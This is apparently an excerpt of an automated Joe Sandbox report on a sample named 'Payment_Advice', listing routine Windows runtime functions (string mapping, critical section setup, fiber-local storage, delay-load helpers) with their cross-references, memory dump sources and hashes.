LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,000000FF), ref: 0052AFDD

Strings

LCMapStringEx, xrefs: 0052AF7D, 0052AF87

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 40655842e492336f6279070bad0940a7b77521a1bb0030fd0ef85bbe28bfc64b
Instruction ID: 6615d5f81c30979de1c92625e506dc0b26e30345e3a0db92992189ea9e6a0590
Opcode Fuzzy Hash: 40655842e492336f6279070bad0940a7b77521a1bb0030fd0ef85bbe28bfc64b
Instruction Fuzzy Hash: 5801137650421EBBCF129F90ED06DEE7FA2FF49750F014254FE14662A0CA368A31AB81

Uniqueness

Uniqueness Score: -1.00%

Function 0052AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0052A56F), ref: 0052AF55

Strings

InitializeCriticalSectionEx, xrefs: 0052AF1B, 0052AF25

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 0632a9045d24742c6523ac53b682977375722a751ad1f706eeda6050db120d2b
Instruction ID: acd5e0436b5671c0c5c5160cef6384709e6964508942ea46d5102c6d0f6a4d8b
Opcode Fuzzy Hash: 0632a9045d24742c6523ac53b682977375722a751ad1f706eeda6050db120d2b
Instruction Fuzzy Hash: 59F02472A4921CBBCB115F10DC06DAE7F60FF08711F004154FD08963A0DA314E10A785

Uniqueness

Uniqueness Score: -1.00%

Function 0052ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0052ADEE

Strings

FlsAlloc, xrefs: 0052ADC0, 0052ADCA

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 9fe8667b727e160fbb3ab17a49ef89a438c26745854d0a7dc51b78be38919dbb
Instruction ID: c7f9bcfa99e79a24e9adde7369a1d708d827aaee279e068667dc58e9e53b00dc
Opcode Fuzzy Hash: 9fe8667b727e160fbb3ab17a49ef89a438c26745854d0a7dc51b78be38919dbb
Instruction Fuzzy Hash: 4DE0AB72A4422C7BC310AB64EC07E6EBF90FF59B21F010298FC00A3380CD705E1096D6

Uniqueness

Uniqueness Score: -1.00%

Function 0051E1D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 106a9d713bf8107917705d41b85fe8ea9bd8b79d3506d7442b4bae74fb845f77
Instruction ID: 15e5445bdef4ee6ccaf507b8539047ef5f28c45d1c2f82dde2537209bf1f8a69
Opcode Fuzzy Hash: 106a9d713bf8107917705d41b85fe8ea9bd8b79d3506d7442b4bae74fb845f77
Instruction Fuzzy Hash: 32B012E9298101BC320411555C1BCB70E0CF4C3B10330883EFC02D1480D850ACC24431

Uniqueness

Uniqueness Score: -1.00%

Function 0051E1F6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 04e63464eaaa8cdfc9d01c89bcbf70980aa760034b7f37734fb05e1012f09616
Instruction ID: 8daa2254adf76149d9c192c47454849d85b1eb6707959199616890475af757ca
Opcode Fuzzy Hash: 04e63464eaaa8cdfc9d01c89bcbf70980aa760034b7f37734fb05e1012f09616
Instruction Fuzzy Hash: 09B012E5298001BC320456155C0BCB70E4CF4C3B20330C43EFC06C2180D850AC864531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E1EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: f80a18457502063f42b77f2d56f6a25972a72ed62c74e713c30b6a1295484278
Instruction ID: 8cbf986a883c9bfcf152979e2d87b7db721a3308226d9a2af81acbc0185eec61
Opcode Fuzzy Hash: f80a18457502063f42b77f2d56f6a25972a72ed62c74e713c30b6a1295484278
Instruction Fuzzy Hash: 7CB012E929C101BC320451595C0BCB70E4CF4C3B10330443EFC06C2080D8506CC24631

Uniqueness

Uniqueness Score: -1.00%

Function 0051E250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: a193eb47a7ae3694963026a27f0274dbca0abe15c0629129a454e86a643df6b0
Instruction ID: 8892a90449f267db854b1cd1461938bba9551f85f4a4e2652d47b0e131e32261
Opcode Fuzzy Hash: a193eb47a7ae3694963026a27f0274dbca0abe15c0629129a454e86a643df6b0
Instruction Fuzzy Hash: B5B012F5299141BD324452151C0BCB70E4DF5C2B10730453EFC06C2080D8506CC64531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E246 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: bf52ff5af2e1e4e8f0c76c592ddcb23da25fbeed8bf9f92a2daa1e8abfd7ab47
Instruction ID: 069f3a94607af7cf7d318ebcff4da1b9f59d4e73dcaddb6c1eefce3c42bc3742
Opcode Fuzzy Hash: bf52ff5af2e1e4e8f0c76c592ddcb23da25fbeed8bf9f92a2daa1e8abfd7ab47
Instruction Fuzzy Hash: 78B012E5699041BC320451151C0BCB70E4DF5C3B10730843EFC06C2080D850AC824531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E264 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 007004ed81f21cffa4479609bddaac18d20f54f2f342da72821c9505d79104dc
Instruction ID: 5384dc4e83b6ca79663681a40d7a47e4d54341789618cb837353d868322e3fdd
Opcode Fuzzy Hash: 007004ed81f21cffa4479609bddaac18d20f54f2f342da72821c9505d79104dc
Instruction Fuzzy Hash: 4BB012E52A9041BC320451151C0BCB70E8DF9C2B10730443EFC07C2080D8506C824531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E26E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: c066eb7889fec240e3ac14aa4ebc50b879d9dee224016beeb740c4c174e55071
Instruction ID: 4b01366ec7fcabff00d5ba7d3572063970f04a2d968a7294b921295ec7e00e2f
Opcode Fuzzy Hash: c066eb7889fec240e3ac14aa4ebc50b879d9dee224016beeb740c4c174e55071
Instruction Fuzzy Hash: 63B012E5298001BC321451251C0BCB70E8CF4C3B10330843EFC06C2080D950ECC24531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E21E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 427259fe91a4c9c60fab2db052b8c001c3e233e4d1416d6d6a67c39a7e0229e3
Instruction ID: 8de907c26ac8b8cd3961b9995a85c750140242e6ab897d68354d2460fcfcc438
Opcode Fuzzy Hash: 427259fe91a4c9c60fab2db052b8c001c3e233e4d1416d6d6a67c39a7e0229e3
Instruction Fuzzy Hash: B7B012F5298001BC320451151C0BCB70E4CF5C3F10330853EFC06C2081D850AD864531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E200 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: b2258002cb88684139129e2b49ae9511e91650985b6f4a4d989e2faaf2059796
Instruction ID: 3ba457f38096c8965024044465f7807e0b25adff22028d9dd54e1ca008e71090
Opcode Fuzzy Hash: b2258002cb88684139129e2b49ae9511e91650985b6f4a4d989e2faaf2059796
Instruction Fuzzy Hash: 13B012E53A8141BD324452155C0BCB70E4CF4C2B20330853EFC06C2180D8506CC64531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E20A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD, 0051E20A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 8d0572a2d8c383412c70aacc194b8ae3d35ec7786a5d17096cccb95167c04ced
Instruction ID: 378ac677554efa7b5ff99d329538453ed0273d07b6af1ae583eb90d8de047065
Opcode Fuzzy Hash: 8d0572a2d8c383412c70aacc194b8ae3d35ec7786a5d17096cccb95167c04ced
Instruction Fuzzy Hash: 20B012E5298001BC320452155D0BCB70E4CF4C2B20330843EFC06C2180DC606D8B4531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E232 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: a7a0d5b60010daa07a571d8def9a1ebf5314ef011f9639b07b1adb166ddfe60c
Instruction ID: 4195fee43cd1a90adf2cb42233417f70261ff967645357455436c77136b43045
Opcode Fuzzy Hash: a7a0d5b60010daa07a571d8def9a1ebf5314ef011f9639b07b1adb166ddfe60c
Instruction Fuzzy Hash: 74B012F5298001BC320455151D0BCB70E4CF5C2F10330453EFC06C2081DC506E834531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E23C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 7d08450ebf8ec5292fe76ed7d99e509d95b927476b4b40e8a0095a8fb3eedba1
Instruction ID: ff1213c31391eccba8939b545da05287153470130d4ab4a3cd1a149b8a1621ac
Opcode Fuzzy Hash: 7d08450ebf8ec5292fe76ed7d99e509d95b927476b4b40e8a0095a8fb3eedba1
Instruction Fuzzy Hash: 04B012F5298001BC320451161C0BCB70E4CF5C2F10330453EFC06C2081D8506D824531

Uniqueness

Uniqueness Score: -1.00%

Function 0051E228 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Q
API String ID: 1269201914-2173417064
Opcode ID: 3342660e8071ad461734cbbf7ec9a63275a531bad1161d2f77a115abf2dd9ff0
Instruction ID: 7725d87622a404d86836628aef19e3c8dc856421bd0c6678397a178f7ccd7ab7
Opcode Fuzzy Hash: 3342660e8071ad461734cbbf7ec9a63275a531bad1161d2f77a115abf2dd9ff0
Instruction Fuzzy Hash: B7B012F5298101BD324451151C0BCB70E4CF5C2F10330463EFC06C2081D8506DC24571

Uniqueness

Uniqueness Score: -1.00%

Function 0051E282 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E1E3

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

Q, xrefs: 0051E1DD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

